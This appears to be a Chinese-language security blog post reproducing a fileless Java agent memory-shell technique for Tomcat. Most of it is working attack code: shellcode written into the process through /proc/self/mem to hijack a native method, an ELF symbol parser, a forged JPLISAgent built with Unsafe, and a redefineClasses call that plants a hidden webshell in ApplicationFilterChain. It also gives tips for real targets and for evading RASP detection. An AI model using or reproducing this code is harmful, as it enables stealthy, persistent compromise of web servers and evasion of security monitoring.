无文件agent内存马

agent内存马相比于FIlter、Servlet等内存马,不会产生新class,相对较隐蔽,通用性更强。
但传统的agent是基于jar文件实现的,本于复现了@rebeyond、@游忘之 提出的无文件注入agent内存马技术。

demo:
https://github.com/yaoyao-cool/no_file_agent_mem_shell

分析

一般的agent内存马,需要调用inst.redefineClasses。
sun.instrument.InstrumentationImpl#redefineClasses
sun.instrument.InstrumentationImpl#redefineClasses0
最终调用到这个native方法

1
private native void redefineClasses0(long var1, ClassDefinition[] var3) throws ClassNotFoundException;

根据方法名,从jdk源码中搜索该方法的具体实现

其中,从java传入的参数为agent和classes。
agent是一个_JPLISAgent结构体的指针,classDefinitions就是存储class字节码的数组。

回到java中,这个指针是InstrumentationImpl类中的一个属性,所以理论上如果要直接调用redefineClasses去修改类字节码的话,需要获取到_JPLISAgent结构体的指针。
在使用jar包的方式注入内存马时,InstrumentationImpl对象是由JVM传进来的,这个_JPLISAgent是设置好的,但是如果不使用jar包注入,需要手工去获取到这个指针。

跟进redefineClasses

首先将agent传入到一个宏中

1
#define jvmti(a) a->mNormalEnvironment.mJVMTIEnv

之后所有的操作,都是在从宏中返回的jvmtiEnv*上操作的
_JPLISAgent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct _JPLISAgent {
JavaVM * mJVM; /* handle to the JVM */
JPLISEnvironment mNormalEnvironment; /* for every thing but retransform stuff */
JPLISEnvironment mRetransformEnvironment;/* for retransform stuff only */
jobject mInstrumentationImpl; /* handle to the Instrumentation instance */
jmethodID mPremainCaller; /* method on the InstrumentationImpl that does the premain stuff (cached to save lots of lookups) */
jmethodID mAgentmainCaller; /* method on the InstrumentationImpl for agents loaded via attach mechanism */
jmethodID mTransform; /* method on the InstrumentationImpl that does the class file transform */
jboolean mRedefineAvailable; /* cached answer to "does this agent support redefine" */
jboolean mRedefineAdded; /* indicates if can_redefine_classes capability has been added */
jboolean mNativeMethodPrefixAvailable; /* cached answer to "does this agent support prefixing" */
jboolean mNativeMethodPrefixAdded; /* indicates if can_set_native_method_prefix capability has been added */
char const * mAgentClassName; /* agent class name */
char const * mOptionsString; /* -javaagent options string */
const char * mJarfile; /* agent jar file name */
};

宏中返回的是_jvmtiEnv结构体

所以_JPLISAgent在这里的作用就是获取_jvmtiEnv

JVM怎么创建_JPLISAgent

createNewJPLISAgent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
JPLISInitializationError
createNewJPLISAgent(JavaVM * vm, JPLISAgent **agent_ptr) {
JPLISInitializationError initerror = JPLIS_INIT_ERROR_NONE;
jvmtiEnv * jvmtienv = NULL;
jint jnierror = JNI_OK;

*agent_ptr = NULL;
jnierror = (*vm)->GetEnv( vm,
(void **) &jvmtienv,
JVMTI_VERSION_1_1);
if ( jnierror != JNI_OK ) {
initerror = JPLIS_INIT_ERROR_CANNOT_CREATE_NATIVE_AGENT;
} else {
JPLISAgent * agent = allocateJPLISAgent(jvmtienv);
if ( agent == NULL ) {
initerror = JPLIS_INIT_ERROR_ALLOCATION_FAILURE;
} else {
initerror = initializeJPLISAgent( agent,
vm,
jvmtienv);
if ( initerror == JPLIS_INIT_ERROR_NONE ) {
*agent_ptr = agent;
} else {
deallocateJPLISAgent(jvmtienv, agent);
}
}

/* don't leak envs */
if ( initerror != JPLIS_INIT_ERROR_NONE ) {
jvmtiError jvmtierror = (*jvmtienv)->DisposeEnvironment(jvmtienv);
/* can be called from any phase */
jplis_assert(jvmtierror == JVMTI_ERROR_NONE);
}
}

return initerror;
}

通过createNewJPLISAgent方法可以获得JPLISAgent对象,但是该方法没有导出,不能从外部直接调用。
从该函数中发现,可以通过JavaVM获取jvmtienv。

1
2
3
jnierror = (*vm)->GetEnv(  vm,
(void **) &jvmtienv,
JVMTI_VERSION_1_1);

关于JavaVM对象,在jni.h中,定义了一个导出方法,在libjvm.so库中

1
2
_JNI_IMPORT_OR_EXPORT_ jint JNICALL 
JNI_GetCreatedJavaVMs(JavaVM **, jsize, jsize *);

只要调用到这个方法,就可以获得JavaVM对象
通过JavaVM,获取jvmtienv指针。
在Java中,使用unsafe申请一块内存,作为_JPLISAgent结构体,并在相应的偏移上,放上jvmtienv指针。(这里在前面分析过了,_JPLISAgent结构体的作用就是通过jvmti宏获得jvmtienv指针)

调用任意Native方法

这里涉及到另一个问题,怎么调用JNI_GetCreatedJavaVMs方法。
在linux下,可以通过/proc/self/mem,访问当前进程空间的内存,并且具有完整的读写权限。
所以这里的思路是:
通过/proc/self/mem,修改任意一个返回类型为lone的native方法,即将shellcode写入到该方法的地址上,在java层调用这个native方法,即可触发构造的shellcode。
(这个思路不只用于写内存马,有很多利用场景,比如绕过rasp对某些敏感函数的检测)

在shellcode中:
写入调用JNI_GetCreatedJavaVMs方法的逻辑,并且使用返回的JavaVM对象,获取jvmtienv指针。
对应的C++代码为

1
2
3
4
5
6
struct JavaVM_ * vm;
jsize count;
JNI_GetCreatedJavaVMs(&vm, 1, &count);
struct jvmtiEnv_ * _jvmti_env;
vm->functions->GetEnv(vm, (void **)&_jvmti_env, JVMTI_VERSION_1_2);
return _jvmti_env;

构造shellcode

对应的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
push rbp
mov rbp,rsp
sub rsp,0x20
mov rax,0x1234567890123456
lea rdi,[rsp+16]
mov rsi,0x1
lea rdx,[rsp+8]
call rax
mov rdi,[rsp+16]
mov rdx,0x30010200
lea rsi,[rsp+8]
mov rax,[rdi]
call [rax+48]
mov rax,[rsp+8]
add rsp,0x20
pop rbp
ret

其中JNI_GetCreatedJavaVMs的地址,先用0x1234567890123456替代,因为库的加载地址是不固定的,不同版本的库,函数偏移也可能不同。
根据前面的c++代码,JNI_GetCreatedJavaVMs的第一个参数,实际个两层的指针,但函数内部实际只解一层指针,所以这里rdi直接指到了栈上,函数会把JavaVM的指针写到栈上。

1
*vm_buf = (JavaVM *)(&main_vm);

将上面的汇编代码编译成机器码

1
0x55,0x48,0x89,0xe5,0x48,0x83,0xec,0x20,0x48,0xb8,0x56,0x34,0x12,0x90,0x78,0x56,0x34,0x12,0x48,0x8d,0x7c,0x24,0x10,0xbe,0x01,0x00,0x00,0x00,0x48,0x8d,0x54,0x24,0x08,0xff,0xd0,0x48,0x8b,0x7c,0x24,0x10,0xba,0x00,0x02,0x01,0x30,0x48,0x8d,0x74,0x24,0x08,0x48,0x8b,0x07,0xff,0x50,0x30,0x48,0x8b,0x44,0x24,0x08,0x48,0x83,0xc4,0x20,0x5d,0xc3

其中的函数地址部分,待会需要抠出来替换为真正的函数地址。

因为要写shellcode到指定的函数地址上,所以首先要获取到函数在内存中的真实地址。
思路:
通过/proc/self/maps,获取到动态链接库的加载地址
通过java中提供的方法,获取到jdk的目录,解析jdk目录中的动态链接库符号表,获取函数的偏移
加载地址和函数偏移相加,得到真实地址。

实际要拿两个函数的地址,一个是JNI_GetCreatedJavaVMs,一个是要被覆盖的native函数地址,最好是不常用的,避免程序崩溃,这里就以libjava.so中的Java_java_io_RandomAccessFile_length为例。

解析elf

就是解析符号表,获取对应函数的偏移地址。

  1. 读取ELF Header,获取Section Header Table的地址
  2. 读取Section Header Table,得到符号表和符号表对应的字符表的地址
  3. 遍历符号表,根据每个符号的name 偏移,去字符表中找函数名
  4. 找到需要的函数名后,返回其在符号表中的地址。
    完整代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
    public static long readElf(String libName,String sym,Long baseAddr) throws IOException {
Properties properties = System.getProperties();
String libPath = properties.getProperty("sun.boot.library.path");
String path=libPath+libName;
RandomAccessFile fin=new RandomAccessFile(path,"r");
//解析 elf File Header
// typedef struct
// {
// unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
// Elf64_Half e_type; /* Object file type */
// Elf64_Half e_machine; /* Architecture */
// Elf64_Word e_version; /* Object file version */
// Elf64_Addr e_entry; /* Entry point virtual address */
// Elf64_Off e_phoff; /* Program header table file offset */
// Elf64_Off e_shoff; /* Section header table file offset */
// Elf64_Word e_flags; /* Processor-specific flags */
// Elf64_Half e_ehsize; /* ELF header size in bytes */
// Elf64_Half e_phentsize; /* Program header table entry size */
// Elf64_Half e_phnum; /* Program header table entry count */
// Elf64_Half e_shentsize; /* Section header table entry size */
// Elf64_Half e_shnum; /* Section header table entry count */
// Elf64_Half e_shstrndx; /* Section header string table index */
// } Elf64_Ehdr;
System.out.println("------------------------------------------elf File Header\n------------------------------------------");
byte[] e_ident=new byte[16];
fin.read(e_ident);
short e_type = Short.reverseBytes(fin.readShort());
short e_machine = Short.reverseBytes(fin.readShort());
int e_version = Integer.reverseBytes(fin.readInt());
long e_entry = Long.reverseBytes(fin.readLong());
long e_phoff = Long.reverseBytes(fin.readLong());
long e_shoff = Long.reverseBytes(fin.readLong());
int e_flags = Integer.reverseBytes(fin.readInt());
short e_ehsize = Short.reverseBytes(fin.readShort());
short e_phentsize = Short.reverseBytes(fin.readShort());
short e_phnum = Short.reverseBytes(fin.readShort());
short e_shentsize = Short.reverseBytes(fin.readShort());
short e_shnum =Short.reverseBytes(fin.readShort());
short e_shstrndx = Short.reverseBytes(fin.readShort());
System.out.println("------------------------------------------elf File Header End\n------------------------------------------");

System.out.println("e_shoff:0x"+Long.toHexString(e_shoff));

//解析Section Header Table
int sh_name=0;
int sh_type=0;
long sh_flags=0;
long sh_addr=0;
long sh_offset=0;
long sh_size=0;
int sh_link=0;
int sh_info=0;
long sh_addralign=0;
long sh_entsize=0;

System.out.println("e_shnum:"+e_shnum);

for (int i=0;i<e_shnum;i++){
//每个Secton Header 64个字节
//找到SHT_DYNSYM类型的Section Table,即动态链接库的符号表,sh_type=11
// typedef struct
// {
// Elf64_Word sh_name; /* Section name (string tbl index) */
// Elf64_Word sh_type; /* Section type */
// Elf64_Xword sh_flags; /* Section flags */
// Elf64_Addr sh_addr; /* Section virtual addr at execution */
// Elf64_Off sh_offset; /* Section file offset */
// Elf64_Xword sh_size; /* Section size in bytes */
// Elf64_Word sh_link; /* Link to another section */
// Elf64_Word sh_info; /* Additional section information */
// Elf64_Xword sh_addralign; /* Section alignment */
// Elf64_Xword sh_entsize; /* Entry size if section holds table */
// } Elf64_Shdr;
fin.seek(e_shoff+i*64);
sh_name = Integer.reverseBytes(fin.readInt());
sh_type = Integer.reverseBytes(fin.readInt());
sh_flags = Long.reverseBytes(fin.readLong());
sh_addr = Long.reverseBytes(fin.readLong());
sh_offset = Long.reverseBytes(fin.readLong());
sh_size = Long.reverseBytes(fin.readLong());
sh_link = Integer.reverseBytes(fin.readInt());
sh_info = Integer.reverseBytes(fin.readInt());
sh_addralign = Long.reverseBytes(fin.readLong());
sh_entsize = Long.reverseBytes(fin.readLong());
if (sh_type == 11) break;
}
long dynsym_sh_offset = sh_offset;
long dynsym_sh_size = sh_size;
long dynsym_sh_entsize= sh_entsize;
for (int i=0;i<e_shnum;i++){
//每个Secton Header 64个字节
//找到SHT_STRTAB类型的Section Table,即动态链接库的符号表 sh_type=3
// typedef struct
// {
// Elf64_Word sh_name; /* Section name (string tbl index) */
// Elf64_Word sh_type; /* Section type */
// Elf64_Xword sh_flags; /* Section flags */
// Elf64_Addr sh_addr; /* Section virtual addr at execution */
// Elf64_Off sh_offset; /* Section file offset */
// Elf64_Xword sh_size; /* Section size in bytes */
// Elf64_Word sh_link; /* Link to another section */
// Elf64_Word sh_info; /* Additional section information */
// Elf64_Xword sh_addralign; /* Section alignment */
// Elf64_Xword sh_entsize; /* Entry size if section holds table */
// } Elf64_Shdr;
fin.seek(e_shoff+i*64);
sh_name = Integer.reverseBytes(fin.readInt());
sh_type = Integer.reverseBytes(fin.readInt());
sh_flags = Long.reverseBytes(fin.readLong());
sh_addr = Long.reverseBytes(fin.readLong());
sh_offset = Long.reverseBytes(fin.readLong());
sh_size = Long.reverseBytes(fin.readLong());
sh_link = Integer.reverseBytes(fin.readInt());
sh_info = Integer.reverseBytes(fin.readInt());
sh_addralign = Long.reverseBytes(fin.readLong());
sh_entsize = Long.reverseBytes(fin.readLong());
if (sh_type == 3) break;
}
Long str_sh_offset=sh_offset;
Long str_sh_size = sh_size;
Long str_sh_entsize =sh_entsize;
System.out.println("dynsym_sh_offset:0x"+Long.toHexString(dynsym_sh_offset));
System.out.println("str_sh_offset:0x"+Long.toHexString(str_sh_offset));

//parse Symbol Table
//遍历Symbol Table,并根据st_name的偏移,去字符串表里搜函数名
//找到需要的Symbol entry后,返回函数偏移地址+库加载基址
// typedef struct
// {
// Elf64_Word st_name; /* Symbol name (string tbl index) */
// unsigned char st_info; /* Symbol type and binding */
// unsigned char st_other; /* Symbol visibility */
// Elf64_Section st_shndx; /* Section index */
// Elf64_Addr st_value; /* Symbol value */
// Elf64_Xword st_size; /* Symbol size */
// } Elf64_Sym;
long count= (dynsym_sh_entsize>0)?(dynsym_sh_size/dynsym_sh_entsize):0;
for (int i=0;i<count;i++){
fin.seek(dynsym_sh_offset+i*dynsym_sh_entsize);
int st_name=Integer.reverseBytes(fin.readInt());
byte st_info=fin.readByte();
byte st_other=fin.readByte();
short st_shndx=Short.reverseBytes(fin.readShort());
long st_value=Long.reverseBytes(fin.readLong());
long st_size=Long.reverseBytes(fin.readLong());

fin.seek(str_sh_offset+st_name);
String sym_str="";
byte ch=0;
while ((ch= fin.readByte())!=0){
sym_str+=(char)ch;
}
if (sym_str.equals(sym)){
return st_value+baseAddr;
}
}
return -1;
}

填充shellcode,写入内存

JNI_GetCreatedJavaVMs函数的地址填到shellcode中,并写入到Java_java_io_RandomAccessFile_length的地址上。
手动调用RandomAccessFile.length,触发shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
		String name = ManagementFactory.getRuntimeMXBean().getName();
String pid = name.split("@")[0];
System.out.println("PID:"+pid);


File file=new File("/proc/self/maps");
FileReader fr = new FileReader(file);
BufferedReader br = new BufferedReader(fr);
String line="";
long libjava_baseAddr=0;
long libjvm_baseAddr=0;
while ((line=br.readLine()) !=null){
if(line.contains("libjava")&&libjava_baseAddr==0){
System.out.println(line);
String str_addr=line.split("-")[0];
libjava_baseAddr=Long.parseLong(str_addr,16);
}
if(line.contains("libjvm")&&libjvm_baseAddr==0){
System.out.println(line);
String str_addr=line.split("-")[0];
libjvm_baseAddr=Long.parseLong(str_addr,16);
}
if(libjava_baseAddr!=0&&libjvm_baseAddr!=0){
break;
}
}

long sym_java = readElf("/libjava.so","Java_java_io_RandomAccessFile_length",libjava_baseAddr);
long sym_jvm = readElf("/server/libjvm.so","JNI_GetCreatedJavaVMs",libjvm_baseAddr);
System.out.println("sym_java:"+Long.toHexString(sym_java));
System.out.println("sym_jvm:"+Long.toHexString(sym_jvm));

byte codes[]=new byte[]{0x55,0x48,(byte)0x89,(byte)0xe5,0x48,(byte)0x83,(byte)0xec,0x20,0x48,(byte)0xb8};

byte codes2[]=new byte[]{0x48,(byte)0x8d,0x7c,0x24,0x10,(byte)0xbe,0x01,0x00,0x00,0x00,0x48,(byte)0x8d,0x54,0x24,0x08,(byte)0xff,(byte)0xd0,0x48,(byte)0x8b,0x7c,0x24,0x10,(byte)0xba,0x00,0x02,0x01,0x30,0x48,(byte)0x8d,0x74,0x24,0x08,0x48,(byte)0x8b,0x07,(byte)0xff,0x50,0x30,0x48,(byte)0x8b,0x44,0x24,0x08,0x48,(byte)0x83,(byte)0xc4,0x20,0x5d,(byte)0xc3};

String sym_jvm_str=Long.toHexString(sym_jvm);
byte sym_jvm_addr[] = new byte[sym_jvm_str.length()/2];
for (int i=sym_jvm_str.length()-2;i>=0;i-=2){
System.out.println(sym_jvm_str.substring(i,i+2));
sym_jvm_addr[(sym_jvm_addr.length-i/2)-1]= (byte) Integer.parseInt(sym_jvm_str.substring(i,i+2),16);
}
byte shellcode[]=new byte[codes.length+codes2.length+8];
for (int i=0;i<codes.length;i++){
shellcode[i]=codes[i];
}
for (int i=0;i<sym_jvm_addr.length;i++){
shellcode[i+codes.length]=sym_jvm_addr[i];
}
if(sym_jvm_addr.length<8){
for(int i=0;i<(8-sym_jvm_addr.length);i++){
shellcode[i+codes.length+sym_jvm_addr.length]=0x00;
}
}
for (int i=0;i<codes2.length;i++){
shellcode[i+codes.length+8]=codes2[i];
}

// System.out.println("sym_jvm:"+sym_jvm_str);
for(int i = 0; i < shellcode.length; ++i){
System.out.printf("0x%02x ", shellcode[i]);
}
RandomAccessFile fin =new RandomAccessFile("/proc/self/mem","rw");
fin.seek(sym_java);
fin.write(shellcode);
fin.close();
// debug_show(sym_java,100);
fin =new RandomAccessFile("/proc/self/mem","rw");
long env= fin.length();

调试一下,可以看到Java_java_io_RandomAccessFile_length函数的指令,已经替换成了写入的shellcode,正常执行后,返回了jvmtienv指针。

伪造JPLISAgent

使用Unsafe申请一段内存,在偏移为8的位置放置jvmtienv指针。其他的属性就不管了,因为没用到。

1
2
3
4
5
6
7
8
9
10
11
Unsafe unsafe=null;
try {
Class<?> unsafeClazz = Class.forName("sun.misc.Unsafe");
Field field=unsafeClazz.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe=(Unsafe)field.get(null);
}catch (Exception e){
e.printStackTrace();
}
Long JPLISAgent= unsafe.allocateMemory(0x1000);
unsafe.putLong(JPLISAgent+8,env);

注入webshell

反射创建一个InstrumentationImpl的实例,传入获取的指针。
查到要修改的class后,反射调用redefineClasses,写入提前准备好的字节码。
字节码可以在本地先用agent.jar打一个,然后dump下来,这里优先用低版本jdk环境,目标环境的java会向下兼容,避免字节码版本太高,跑不起来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
try{
Class<?> instrument_clz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor<?> constructor = instrument_clz.getDeclaredConstructor(long.class,boolean.class,boolean.class);
constructor.setAccessible(true);
sun.instrument.InstrumentationImpl insn = (sun.instrument.InstrumentationImpl)constructor.newInstance(JPLISAgent,true,false);
Method getAllLoadedClasses = instrument_clz.getMethod("getAllLoadedClasses");
Class<?>[] classes =(Class<?>[]) getAllLoadedClasses.invoke(insn);
String className = "org.apache.catalina.core.ApplicationFilterChain";
for(Class<?> cls : classes) {
if(cls.getName().equals(className)){
String webshell_b64="";
ClassDefinition classDefinition=new ClassDefinition(cls, Base64.getDecoder().decode(webshell_b64));
Method redefineClasses_method=insn.getClass().getMethod("redefineClasses", ClassDefinition[].class);
redefineClasses_method.invoke(insn,new Object[]{new ClassDefinition[]{classDefinition}});
break;
}
}
}catch (Exception e){
e.printStackTrace();
}

解决报错

redefinsCLasses时报错。

逆一下libjvm.so,(没找到这个函数的源码

这里的this就是jvmtienv指针,在361偏移上,需要为2
不同版本的偏移可能会不同,直接在360-400上全写为2,本地测试没有问题
如果真实环境下,要谨慎操作,只写在361偏移上,或者有理论依据,保证写在某个范围上不会有影响,否则把其他指针覆盖了,程序会直接崩溃。
这里不好说,我不懂。
稳妥一点的话,先看jdk版本,本地测试该版本的偏移,或者从目标环境把libjvm.so拉下来逆向确定偏移,再打内存马

1
2
3
for (int i=360;i<400;i++){
unsafe.putByte(env+i,(byte) 2);
}

测试

将注入shell的代码放在/agent下,访问agent路由,会注册一个webshell到ApplicationFilterChain的doFilter下,此时访问任意路由,都可以触发写入的webshell

结合其他代码执行的漏洞,可无需上传jar包,直接注入agent内存马,